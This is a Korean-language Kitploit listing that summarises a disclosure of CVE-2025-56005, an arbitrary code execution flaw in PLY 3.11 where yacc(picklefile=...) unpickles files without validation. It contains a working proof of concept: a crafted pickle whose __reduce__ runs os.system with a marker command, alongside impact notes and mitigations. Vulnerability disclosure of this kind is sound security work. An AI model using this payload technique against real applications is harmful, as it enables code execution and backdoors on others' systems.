Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Undocumented-RCE-in-PLY — `picklefile` 파라미터를 통한 PLY의 문서화되지 않은 RCE | Kitploit
도구/GitHubGitHub/bohmiiidd/undocumented-rce-in-ply
Payload GenerationVulnerability AnalysisExploitationPapers & ResearchLearning & Education
GitHubbohmiiidd/undocumented-rce-in-ply

Undocumented-RCE-in-PLY

`picklefile` 파라미터를 통한 PLY의 문서화되지 않은 RCE

저장소 보기
161개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

PLY CVE‑2025‑56005의 문서화되지 않은 원격 코드 실행

root@kitploit:~
CVE ID: CVE‑2025‑56005
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex‑Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex‑Yacc)
Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`

요약

PyPI로 배포된 PLY 3.11 버전의 문서화되지 않은 안전하지 않은 기능은 yacc() 함수가 picklefile 매개변수와 함께 호출될 때 임의 코드 실행을 허용합니다.

picklefile 매개변수는 PLY가 .pkl 파일을 Python의 pickle.load()를 사용하여 검증 없이 역직렬화하도록 합니다. Python의 pickle 모듈은 역직렬화 중 임의 코드 실행(예: __reduce__()를 통해)을 지원하므로, 제공된 pickle 파일을 제어할 수 있는 공격자는 파서 초기화 중에 임의 코드를 실행할 수 있습니다.

이 매개변수는 공식 PLY 문서나 GitHub 저장소에 문서화되어 있지 않지만, PyPI 릴리스에서는 활성화되어 있습니다.


영향

공격자가 yacc(picklefile=...)에 전달되는 .pkl 파일을 제어, 교체 또는 영향을 미칠 수 있다면 다음을 달성할 수 있습니다:

  • 임의 코드 실행
  • 애플리케이션 시작 중 실행
  • 파싱 로직에 도달하기 전 코드 실행

이는 다음과 같은 위치에서 파서 테이블을 로드하는 애플리케이션에 영향을 미칠 수 있습니다:

  • 캐시된 위치
  • 공유 디렉터리
  • CI/CD 파이프라인
  • 구성 가능하거나 쓰기 가능한 경로

🔍 취약점 세부 정보

  • 취약점 유형: 임의 코드 실행
  • 공격 유형: 상황 의존적
  • 공격 벡터: 공격자가 제어하는 pickle 파일의 안전하지 않은 역직렬화
  • 영향: 코드 실행
  • CWE: CWE‑502 (신뢰할 수 없는 데이터의 역직렬화)

영향을 받는 기능

  • ply.yacc.yacc(picklefile=...)
  • ply/yacc.py의 LRTable.read_pickle()

추가 정보 (맥락 및 위험)

이 취약점은 은밀한 특성과 지속성 가능성으로 인해 높은 위험을 초래합니다.

picklefile 매개변수는 공식 PLY 문서와 GitHub 저장소에 문서화되어 있지 않습니다. 그러나 PyPI로 배포된 PLY 3.11 버전은 이 기능을 포함하고 있으며 제공된 파일을 검증 없이 pickle.load()를 사용하여 처리합니다.

Python의 pickle 모듈은 역직렬화 중 내장된 코드의 실행을 허용하므로, 악성 pickle 파일은 파싱 로직이 호출되기 전인 파서 설정 중에 임의 코드를 실행할 수 있습니다.

작성 시점 현재, 유지관리자는 이 동작을 공개적으로 인정하지 않았습니다.

이 기능은 특히 파서 테이블 파일이 다음과 같은 환경에서 지속적인 백도어를 도입하는 데 악용될 수 있습니다:

  • 디스크에 캐시됨
  • 사용자 또는 서비스 간 공유됨
  • CI/CD 파이프라인에서 생성되거나 재사용됨
  • 구성 가능하거나 쓰기 가능한 경로에서 로드됨

문서 부재, 은밀한 실행 경로, 안전하지 않은 역직렬화의 높은 영향을 고려할 때, 인식을 높이고 다운스트림 사용자를 보호하기 위해 CVE 할당이 정당화됩니다.


개념 증명 (PoC)

이 개념 증명은 문서화되지 않은 picklefile 매개변수를 통해 악성 pickle 파일이 제공될 때 임의 코드 실행을 보여줍니다.

PoC 개요

PoC는:

  • 최소한의 렉서와 파서를 정의합니다
  • 악성 pickle 페이로드를 생성합니다
  • 역직렬화 중 시스템 명령을 실행합니다

예상 결과

yacc(picklefile='exploit.pkl')이 호출되면, 파서 초기화 중에 임의 코드가 실행됩니다.

root@kitploit:~
import pickle
import os
from ply.lex import lex
from ply.yacc import yacc

tokens = ('EXAMPLE',)

def t_EXAMPLE(t):
    r'example'
    return t

def p_sample(p):
    'sample : EXAMPLE'
    pass

class Exploit:
    def __reduce__(self):
        cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
        return (os.system, (cmd,))

malicious_data = {
    '_tabversion': '3.11',
    '_lr_action': {0: {}},
    '_lr_goto': {0: {}},
    '_lr_productions': [
        (None, 0, 0, 0, Exploit())
    ],
    '_lr_method': 'LALR'
}

with open('exploit.pkl', 'wb') as f:
    pickle.dump(malicious_data, f)

parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')

완화

  • 신뢰할 수 없거나 외부에서 쓰기 가능한 파일과 함께 picklefile 매개변수를 사용하지 마십시오
  • 사용자가 제어하는 위치에서 파서 테이블을 로드하지 마십시오
  • 모든 pickle 파일을 안전하지 않은 입력으로 취급하십시오
  • 디스크에서 로드하는 대신 파서 테이블을 재생성하는 것을 선호하십시오

참고 자료

  • PLY GitHub 저장소: https://github.com/dabeaz/ply
  • PyPI 패키지: https://pypi.org/project/ply/
  • Python Pickle 문서: https://docs.python.org/3/library/pickle.html
  • 개념 증명 저장소: https://github.com/bohmiiidd/Undocumented-RCE-in-PLY
도구 다운로드